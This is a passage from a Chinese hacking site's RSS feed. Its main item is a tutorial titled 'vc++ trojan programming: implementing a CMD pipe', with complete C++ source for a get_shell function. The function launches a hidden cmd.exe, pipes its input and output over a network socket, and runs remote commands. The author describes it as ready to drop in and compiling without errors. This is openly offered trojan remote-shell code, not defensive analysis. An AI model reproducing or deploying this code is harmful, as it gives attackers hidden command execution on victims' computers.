href="http://www.bkhack.com/news/ngLiLe.html">怖客原创工具列表！集合，整理了</a> (2012-1-2 19:11:9)  </li><li><a href="http://www.bkhack.com/down/BuKeWenJianJiaJiaMiGongJuFaBuLa.html">【怖客】文件夹加密工具发布啦</a> (2012-1-2 19:7:14)  </li><li><a href="http://www.bkhack.com/down/52.html">windows定时关机软件【怖客】</a> (2011-12-6 15:58:26)  </li></ul>]]></description><category>下载专区</category><comments>http://www.bkhack.com/down/185.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=185</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=185&amp;key=55f09961</trackback:ping></item><item><title>vc++木马编程之CMD管道的实现</title><author>a@b.com (lxsky)</author><link>http://www.bkhack.com/biancheng/184.html</link><pubDate>Tue, 21 Feb 2012 11:30:33 +0800</pubDate><guid>http://www.bkhack.com/biancheng/184.html</guid><description><![CDATA[<p>*****************************************************************</p><p>by:lxsky(<a target="_blank" href="http://www.bkhack.com">怖客</a>)&nbsp; 链接:http://www.bkhack.com</p><p>讨论或由不懂的地方请进:http://www.topjishu.com</p><p>******************************************************************</p><p>下面是一个完整的函数例子,包括<a target="_blank" href="http://www.bkhack.com">函数</a>的声明,函数的调用很简单,传递一个<a target="_blank" href="http://www.bkhack.com">socket</a>变量就OK!直接引用就可以了.</p><p>没有错误,<a target="_blank" href="http://www.bkhack.com">VC++6.0</a>编译!</p><p>/////////////////////////////////<a target="_blank" href="http://www.bkhack.com">变量的声明</a>:[开始]////////////////////////////</p><p>STARTUPINFO g_stStartUp;</p><p>PROCESS_INFORMATION g_stProcInfo;</p><p><br />HANDLE g_read1, g_write1;</p><p>HANDLE g_read2, g_write2;</p><p><br />char enter_key[2] = {0x0d, 0x0a};</p><p>//////////////////////////////变量的声明:[结束]////////////////////////////////////</p><p><br />get_shell(target);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //声明<a target="_blank" href="http://www.bkhack.com">函数</a><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>nt get_shell(SOCKET target)&nbsp;&nbsp;&nbsp; //就这一个函数,需要船体一个SOCKET target的变量进去!<br />{</p><p>&nbsp;SECURITY_ATTRIBUTES stSecurity;<br />&nbsp;&nbsp; <br />stSecurity.nLength = sizeof(SECURITY_ATTRIBUTES);<br />&nbsp;<br />stSecurity.lpSecurityDescriptor = NULL;<br />&nbsp;<br />stSecurity.bInheritHandle = TRUE;<br />&nbsp;&nbsp;&nbsp; <br />CreatePipe(&amp;g_read1, &amp;g_write1, &amp;stSecurity, 0);<br />&nbsp;<br />CreatePipe(&amp;g_read2, &amp;g_write2, &amp;stSecurity, 0);</p><p>&nbsp;&nbsp; <br />GetStartupInfo(&amp;g_stStartUp);<br />&nbsp;&nbsp;&nbsp;</p><p>g_stStartUp.hStdInput = g_read1;<br />&nbsp;&nbsp;&nbsp; <br />g_stStartUp.hStdOutput = g_write2;<br />&nbsp;<br />g_stStartUp.hStdError = g_write2;<br />&nbsp;&nbsp; <br />g_stStartUp.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;<br />&nbsp;&nbsp; &nbsp;<br />g_stStartUp.wShowWindow = SW_HIDE;<br />&nbsp;<br />if (CreateProcess(NULL, &quot;cmd.exe&quot;, NULL, NULL, TRUE,<br />&nbsp;NORMAL_PRIORITY_CLASS, NULL, NULL,<br />&nbsp;&amp;g_stStartUp, &amp;g_stProcInfo))<br />&nbsp;<br />{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD bytes_read, bytes_write, ret;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; char buff[512] = {0};<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; while (1)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; memset(buff, '\0', 512);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; PeekNamedPipe(g_read2, buff, 512, &amp;bytes_read, NULL, NULL);</p><p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bytes_read != 0) <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; { <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ret = ReadFile(g_read2, buff, bytes_read, &amp;bytes_read, NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; send(target, buff, strlen(buff), 0);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (ret &lt;= 0)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, &quot;[e]Read pipe error:%d\n&quot;, GetLastError());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bytes_read = recv(target, buff, 512, 0);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (bytes_read &lt;= 0){<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; fprintf(stderr, &quot;[e]recv error:%d\n&quot;, WSAGetLastError());<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; adjust_cmd(buff);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteFile(g_write1, buff, strlen(buff), &amp;bytes_write, NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; WriteFile(g_write1, enter_key, 2, &amp;bytes_write, NULL);<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (0 == strcmp(&quot;.leave&quot;, buff))&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; //如果是.leave,就退出!<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; send(target, &quot;[i]Exit CMD Modal.\n&quot;, 19, 0);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<br />&nbsp;&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p><p><br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sleep(100);<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp; CloseHandle(g_stProcInfo.hProcess);<br />&nbsp;&nbsp;<br />&nbsp;&nbsp;&nbsp; CloseHandle(g_stProcInfo.hThread);<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp; }<br />&nbsp;&nbsp;&nbsp; <br />return 0;</p><p>}<br />&nbsp;</p><p>Copyright © 2009-2011</p><p><a href="http://www.bkhack.com/biancheng/184.html" target="_blank">继续阅读《vc++木马编程之CMD管道的实现》的全文内容...</a></p><p>分类: <a href="http://www.bkhack.com/article/biancheng.html">编程教程</a> | Tags: <a href="http://www.bkhack.com/catalog.asp?tags=vc%E6%9C%A8%E9%A9%AC%E7%BC%96%E7%A8%8B">vc木马编程</a>&nbsp;&nbsp; | <a href="http://www.bkhack.com/biancheng/184.html#comment" target="_blank">添加评论</a>(0)</p><p><a href="http://www.bkhack.com/biancheng/184.html#comment" target="_blank">还没有相关文章，您来说两句？</a></p>]]></description><category>编程教程</category><comments>http://www.bkhack.com/biancheng/184.html#comment</comments><wfw:comment>http://www.bkhack.com/</wfw:comment><wfw:commentRss>http://www.bkhack.com/feed.asp?cmt=184</wfw:commentRss><trackback:ping>http://www.bkhack.com/cmd.asp?act=tb&amp;id=184&amp;key=5c20946c</trackback:ping></item></channel></rss>

